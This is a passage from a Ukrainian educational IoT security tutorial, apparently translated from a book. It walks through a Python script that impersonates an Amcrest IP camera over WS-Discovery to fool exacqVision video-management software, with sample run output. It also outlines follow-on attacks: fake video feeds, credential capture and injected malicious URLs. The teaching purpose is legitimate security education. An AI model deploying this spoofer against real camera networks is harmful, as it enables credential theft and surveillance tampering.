Тепер ми напишемо скрипт на Python, який імітує реальну камеру в мережі з метою атаки на програмне забезпечення exacqVision і підробки справжньої камери. Ми будемо використовувати реакцію Probe Match камери Amcrest як основу для створення навантаження атаки. Нам потрібно створити прослуховувач у мережі, який отримує зонд WS-Discovery від exacqVision, витягує з нього MessageID і використовує його для генерації навантаження нашої атаки як відповіді WS-Discovery Probe Match.

Перша частина нашого коду імпортує необхідні модулі Python і визначає змінну, яка містить оригінальну відповідь Probe Match з камери Amcrest, як показано в лістингу 6.4.

Лістинг коду 6.4. Імпорт модуля та визначення оригінальної відповіді на збіг зонда WS-Discovery з камери Amcrest

#!/usr/bin/env python
import socket
import struct
import sys
import uuid
buf = ""
orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope 
xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/
soapenvelope"
xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/
ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery"
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">\
<s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoaporg:
ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/
ProbeMatches\ 
</a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatch
es><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter 
tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \
 onvif://www.onvif.org/name/Amcrest \ 
 onvif://www.onvif.org/hardware/IP2M-841B \
 onvif://www.onvif.org/Profile/Streaming \
 onvif://www.onvif.org/type/Network_Video_Transmitter \
 onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\
<d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</
d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''

Ми починаємо зі стандартного маркера Python (#!), щоб переконатися, що сценарій може запускатися з командного рядка без вказівки повного шляху інтерпретатора Python, а також необхідного імпорту модулів. Потім створюємо змінну orig_buf, що містить вихідна відповідь WS-Discovery від Amcrest у вигляді рядка.

Нагадаємо з попереднього розділу, що ми вставили XML-запит у змінну після захоплення повідомлення у Wireshark. Створюємо заповнювач _MESSAGE-ID_ і замінюємо його на новий унікальний UUID, який ми генеруватимемо щоразу при отриманні пакета.

Аналогічним чином _PROBEUUID_ міститиме витягнутий UUID із зонда WS-Discovery під час виконання. Нам потрібно вилучати його щоразу, коли ми отримуємо новий зонд WS-Discovery від exacqVision. Частина name корисного навантаження XML – гарне місце для підсування неправильно сформованого введення, тому що ми бачили, що ім’я Amcrest з’являється у списку камер клієнта і, таким чином, має спочатку бути проаналізовано програмним забезпеченням усередині. Наступна частина коду в лістингу 6.5 налаштовує мережеві сокети. Помістіть її відразу після коду у лістингу 6.3.

Лістинг 6.5. Налаштування мережевих сокетів

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('239.255.255.250', 3702))
mreq = struct.pack("=4sl", socket.inet_aton("239.255.255.250"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

Ми створюємо сокет UDP та встановлюємо опцію  сокета SO_REUSEADDR, яка дозволяє сокету прив’язуватися до того ж порту щоразу, коли ми перезапускаємо скрипт. Потім виконуємо прив’язку до широкомовної адреси 239.255.255.250 на порту 3702, тому що це стандартна адреса багатоадресної розсилки і стандартний порт, що використовуються в WS-Discovery. Ми також повинні повідомити ядру, що ми зацікавлені в отриманні мережного трафіку, спрямованого на 239.255.255.250 шляхом приєднання до цієї групової адреси багатоадресної розсилки. У лістингу 6.6 показана заключна частина нашого коду, що включає основний цикл.

Лістинг коду 6.6. Основний цикл, який отримує повідомлення WS-Discovery Probe, отримує MessageID і надсилає корисне навантаження атаки

while True:
print("Waiting for WS-Discovery message...\n", file=sys.stderr)
data, addr = sock.recvfrom(1024) 
if data:
server_addr = addr[0] 
server_port = addr[1]
print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr)
print('%s' % (data), file=sys.stderr)
print("\n", file=sys.stderr)
# если это не WS-Discovery Probe, то распознавание не выполняем
if "Probe" not in data: 
continue
# сначала находим тег MessageID
m = data.find("MessageID") 
# начинаем искать "uuid" начиная с текущего места в буфере
u = data[m:-1].find("uuid")
num = m + u + len("uuid:")
# теперь ищем закрывающий тег 
end = data[num:-1].find("<")
# извлекаем uuid из MessageID
orig_uuid = data[num:num + end]
print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr)
# заменяем _PROBEUUID_ в буфере извлеченным значением
buf = orig_buf
buf = buf.replace("_PROBEUUID_", orig_uuid) 
# создаем новый случайный UUID для каждого пакета
buf = buf.replace("_MESSAGEID_", str(uuid.uuid4())) 
print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr)
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
udp_socket.sendto(buf, (server_addr, server_port))

Сценарій входить у нескінченний цикл, в якому він очікує повідомлення WS-Discovery Probe, доки ми його не зупинимо (Ctrl+C здійснює вихід із циклу в Linux). Отримуючи пакет, що містить дані, ми отримуємо IP-адресу відправника та порт і зберігаємо їх у змінних server_addr та server_port відповідно. Потім перевіряємо, чи рядок “Probe” включений в отриманий пакет; якщо це так, ми припускаємо, що цей пакет є зондом WS-Discovery.

В іншому випадку ми більше нічого не робимо з пакетом. Потім ми намагаємося знайти та витягти UUID з тега MessageID XML без використання будь-якої частини бібліотеки XML (оскільки це створить непотрібні накладні витрати та ускладнить таку просту операцію), покладаючись лише на базові маніпуляції з рядками. Ми замінюємо заповнювач _PROBEUUID_ з лістингу 6.3 на вилучений UUID та створюємо новий випадковий UUID для заміни заповнювача _MESSAGE_ID. Потім надсилаємо UDP пакет назад відправнику. Ось приклад запуску скрипта для програмного забезпечення exacqVision:

root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py
Waiting for WS-Discovery message...
Received from: 192.168.10.169:54374
<?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/
wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http://
schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</
wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/
addressing">urn:schemasxmlsoaporg:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/
ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></
Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.
w3.org/2001/XMLSchema xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery"><Types>dn:Network
VideoTransmitter</Types><Scopes /></Probe></Body></Envelope>
Extracted MessageID UUID 2ed72754-2c2f-4d10-8f50-79d67140d268
Sending WS reply to 192.168.10.169:54374
Waiting for WS-Discovery message...

Зауважте, що кожного разу, коли скрипт запускається, UUID MessageID буде оновлюватися. Як вправу, роздрукуйте набір корисних даних і переконайтеся, що той самий UUID відображається в  полі RerelesTo  всередині та всередині.

В інтерфейсі exacqClient наша фальшива камера відображається у списку пристроїв, як показано на мал. 6.18.

У наступному розділі ми розглянемо, що ви можете зробити, увійшовши в систему в Інтернеті як камера.

Створення атак WS-Discovery

Які типи атак можна здійснити, зловживаючи цим простим механізмом виявлення? По-перше, через цей вектор можна атакувати програмне забезпечення для управління відео, оскільки парсери XML сумно відомі помилками, які призводять до вразливостей пошкодження пам’яті. Навіть якщо на сервері немає іншого відкритого порту прослуховування, ви можете передати йому спотворений вхід через WS-Discovery.

Друга атака буде складатися з двох кроків. По-перше, викликати відмову в обслуговуванні на реальній IP-камері, щоб вона втратила з’єднання з відеосервером. По-друге, надішліть інформацію до WS-Discovery, яка зробить вашу підроблену камеру схожою на справжню, вимкнену. У цьому випадку можна обдурити оператора сервера, додавши фальшиву камеру до списку камер, якими керує сервер. Після цього можна подавати штучний відеосигнал на вхід сервера.

Насправді, в деяких випадках можна виконати попередню атаку, навіть не викликавши відмову в обслуговуванні в реальній IP-камері. Все, що вам потрібно зробити, це надіслати відповідь WS-Discovery Probe Match на відеосервер до того, як реальна камера надішле її. У цьому випадку, за умови, що інформація ідентична або відносно схожа (у більшості випадків достатньо реплікації полів Name, Type  та Model, то справжня камера навіть не з’явиться в програмному забезпеченні управління, якщо ви успішно зайняли її місце.

По-третє, якщо відеопрограмне забезпечення використовує небезпечну автентифікацію для IP-камери (наприклад, базову автентифікацію HTTP), можна отримати облікові дані. Оператор, який додає вашу фальшиву камеру, введе те саме ім’я користувача та пароль, що й справжня. У цьому випадку ви можете перехопити облікові дані, коли сервер намагається автентифікувати користувача на основі того, що він вважає реальним. Оскільки повторне використання пароля є поширеною проблемою, цілком імовірно, що інші камери в мережі використовують той самий пароль, особливо якщо вони тієї самої моделі або виробника.

Четверта атака може полягати в включенні шкідливих URL-адрес у поля WS-Discovery Match Probe. У деяких випадках користувачеві показується зонд збігу, і у оператора може виникнути спокуса натиснути на посилання.

Крім того, стандарт WS-Discovery включає в себе положення про «Proxy Discovery». По суті, це веб-сервери, які можна використовувати для віддаленого керування WS-Discovery, навіть через Інтернет. Це означає, що описані тут атаки можуть відбуватися без розміщення зловмисника в одній локальній мережі.

Висновок

У цьому розділі ми проаналізували UPnP, WS-Discovery, а також mDNS і DNS-SD, загальні мережеві протоколи з нульовою конфігурацією в екосистемах IoT. Ми показали, як атакувати незахищений сервер UPnP на OpenWrt, щоб зробити злам у брандмауері, а потім обговорили, як використовувати UPnP через інтерфейси WAN. Потім ми проаналізували, як працюють mDNS і DNS-SD і як ними можна зловживати, і створили отруйник mDNS на Python. Ми вивчили WS-Discovery і те, як з його допомогою здійснювати різні атаки на сервери управління IP-камерами. Майже всі ці атаки засновані на довірі за замовчуванням, яку розробники цих протоколів надають учасникам локальної мережі, віддаючи пріоритет автоматизації над безпекою.

Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things , яку  написали Фотиос Чанцис, Иоаннис Стаис,
Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.

Інші статті по темі
Для початківцівОсвіта
Читати далі
Частина 3. Загрози у світі речей інтернету (Методологія тестування безпеки)
В нашій частині ми докладно розберемося з основними загрозами, які можуть трапитися у світі IoT. Від вразливостей в програмному забезпеченні до фізичного доступу до пристроїв.
1071
Для початківцівОсвіта
Читати далі
Частина 8. Злом апаратної частини системи. (SPI та I2C)
Ми дослідимо, як ці протоколи можуть бути використані для вилучення даних з мікроконтролерів та периферійних пристроїв, а також для впливу на їхню роботу. Основний акцент буде зроблено на практичних прикладах використання SPI та I2C для розуміння та підвищення безпеки систем IoT.
1184
Для початківцівОсвіта
Читати далі
Частина 11. Злом радіоканалів. (Bluetooth Low Energy)
У цьому розділі ви дізнаєтеся, як працює зв'язок BLE, вивчите поширене апаратне та програмне забезпечення для зв'язку з пристроями BLE, а також дізнаєтеся, як ефективно виявляти та використовувати вразливості безпеки.
1155
Для початківцівОсвіта
Читати далі
Частина 12. Злом радіоканалів. (Радіоканали середнього радіусу дії злом Wi-Fi)
В розділі, присвяченому технології Wi-Fi в контексті пристроїв Інтернету речей (IoT), ми дослідимо основи функціонування Wi-Fi, а також вивчимо деякі з основних атак, які можуть бути спрямовані на бездротові мережі.
1631
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.